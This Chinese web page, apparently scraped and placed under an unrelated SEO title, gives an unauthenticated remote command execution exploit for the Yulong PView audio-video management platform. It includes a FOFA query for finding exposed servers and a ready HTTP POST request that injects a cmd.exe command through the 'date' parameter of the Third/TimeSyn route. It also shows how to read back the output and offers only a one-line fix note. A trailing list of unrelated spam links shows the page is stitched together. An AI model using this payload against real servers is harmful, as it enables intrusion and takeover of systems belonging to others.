当前位置: 首页 > news >正文

网站本地化怎么做网站分享

网站本地化怎么做,网站分享,佛山网约车驾驶员资格证网上报名,汽车网站建设方案0x01 漏洞描述: 誉龙公司定位为系统级的移动视音频记录解决方案提供商,凭借其深厚的行业经验,坚持自主研发,匠心打造记录仪领域行业生态,提供开放式的记录仪APK、GB28181 SDK、国网B协议、管理平台软件OEM。誉龙视音频…

0x01 漏洞描述:

誉龙公司定位为系统级的移动视音频记录解决方案提供商,凭借其深厚的行业经验,坚持自主研发,匠心打造记录仪领域行业生态,提供开放式的记录仪APK、GB28181 SDK、国网B协议、管理平台软件OEM。誉龙视音频综合管理平台 index.php 接口的Third/TimeSyn路由地址里存在远程命令执行漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

0x02 搜索语句:

Fofa:body="PView 视音频管理平台"

0x03 漏洞复现:

POST /index.php?r=Third/TimeSyn HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencodedcloudKey=0x0&date=|cmd.exe+/c+whoami+>+test.txt&time=1

 

回显执行成功后拼接命令执行时写入的文件

GET /test.txt HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

0x04 修复建议:

厂商已发布补丁版本请及时修复

http://www.wooajung.com/news/22651.html

相关文章:

  • 怎样自己做免费的网站迅雷磁力链bt磁力天堂
  • asp做的网站asp源代码免费b站推广网站下载
  • 在哪几个网站里做自媒体赚钱优化大师手机版下载
  • 网站建设+廊坊网站推广属于哪些
  • 像淘宝购物网站建设需要哪些专业人员线上营销策划案例
  • 广州建设交易中心网站网络推广服务外包
  • 去什么网站做推广推广普通话手抄报内容文字
  • 初中生怎样做网站赚钱最近10条重大新闻
  • 广东英德网站建设代做百度收录排名
  • 南京高端网站开发舆情分析报告模板
  • 手机网站开发设计今日国内新闻最新消息10条
  • 建设音乐主题网站cba最新排名
  • 做效果图挣钱网站抖音推广运营公司
  • 潍坊网站建设.com起飞页自助建站平台
  • 太原商城网站建设武汉seo关键词排名
  • 网泰网站建设百度知道合伙人官网
  • 网站动图banner怎么做品牌线上推广方案
  • 交易猫假网站制作关键词优化价格
  • 企业网站建设电话情感营销经典案例
  • 十大建筑设计公司seo代码优化有哪些方法
  • 农产品网站建设需求整合营销名词解释
  • 手机怎么建设视频网站北京seo网络优化招聘网
  • 劲松网站建设公司国内疫情最新消息
  • 网站内容检测计算机培训机构排名前十
  • 新商盟网站开发时间一个网站如何推广
  • 阿里云备案网站建设方案书案例培训学校怎么招生
  • 更合公司网站建设国外网站怎么推广
  • 个人网站建设方案书怎么写阜平网站seo
  • 深圳vi设计手册seo快速排名代理
  • 学校网站建外包公司到底值不值得去